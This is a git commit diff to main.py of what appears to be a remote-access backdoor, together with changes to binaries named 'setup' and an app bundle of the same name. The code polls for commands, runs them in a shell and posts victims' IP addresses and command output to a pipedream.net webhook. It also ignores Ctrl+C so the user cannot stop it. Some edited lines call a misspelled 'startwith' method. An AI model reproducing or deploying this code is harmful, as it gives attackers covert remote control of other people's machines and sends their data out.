summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-16 07:51:24 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-16 07:51:24 +0800
commitf8a8fc04cf9b9eadc4dccb5323ffb198bb9a65c0 (patch)
treed8fa3aa9ea9ce7371a9b0c49ef8bcf8c6301f1d2
parentb2dcb3df5074d46b6e060b5b600451d44fdbf949 (diff)
updated
-rwxr-xr-xdist/setupbin4299328 -> 4299328 bytes
-rwxr-xr-xdist/setup.app/Contents/MacOS/setupbin4299328 -> 4299328 bytes
-rw-r--r--main.py33
3 files changed, 17 insertions, 16 deletions
diff --git a/dist/setup b/dist/setup
index 267476a..749eaf3 100755
--- a/dist/setup
+++ b/dist/setup
Binary files differ
diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup
index 5aeb637..62770ac 100755
--- a/dist/setup.app/Contents/MacOS/setup
+++ b/dist/setup.app/Contents/MacOS/setup
Binary files differ
diff --git a/main.py b/main.py
index 8460155..97d1750 100644
--- a/main.py
+++ b/main.py
@@ -8,9 +8,9 @@ try:
command = ""
ip = get('https://api.ipify.org').content.decode('utf8')
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"New client IP: {ip}")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"New client IP: `{ip}`")
except KeyboardInterrupt:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Client tried to SIGINT(Ctrl+C) when init")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when init``")
pass
while True:
@@ -23,44 +23,45 @@ while True:
sleep(5)
continue
except KeyboardInterrupt:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Client tried to SIGINT(Ctrl+C) with sleeping(cuz of discord api timeout)")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) with sleeping(cuz of discord api timeout)``")
continue
except:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server")
+ print("Failed to connect to server")
+ sleep(1)
continue
# execute command
if old_command != command:
try:
- if "ping" in command:
+ if command.startwith("ping"):
try:
post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Pong!")
except KeyboardInterrupt:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Client tried to SIGINT(Ctrl+C) when replying to ping")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when replying to ping``")
except:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server")
+ print("Failed to connect to server")
continue
- if "cd" in command:
+ if command.startwith("cd"):
dir=command.replace('cd', '')
try:
chdir(dir)
except KeyboardInterrupt:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Client tried to SIGINT(Ctrl+C) while changing directory")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) while changing directory``")
continue
except FileNotFoundError:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: cd: No Such Directory")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```No Such Directory```-{ip}")
except:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server")
+ print("Failed to connect to server")
continue
cmdout = system(command, shell=True).decode()
if cmdout != "":
try:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip} - {command}:```{cmdout}```")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```-{ip}")
except KeyboardInterrupt:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Client tried to SIGINT(Ctrl+C) when trying to post output")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``")
continue
except:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to sent output")
+ print("Failed to sent output")
continue
old_command = command
continue
@@ -69,8 +70,8 @@ while True:
try:
sleep(0.1)
except KeyboardInterrupt:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Client tried to SIGINT(Ctrl+C)")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C)``")
continue
except KeyboardInterrupt:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Client tried to SIGINT(Ctrl+C)")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C)``")
continue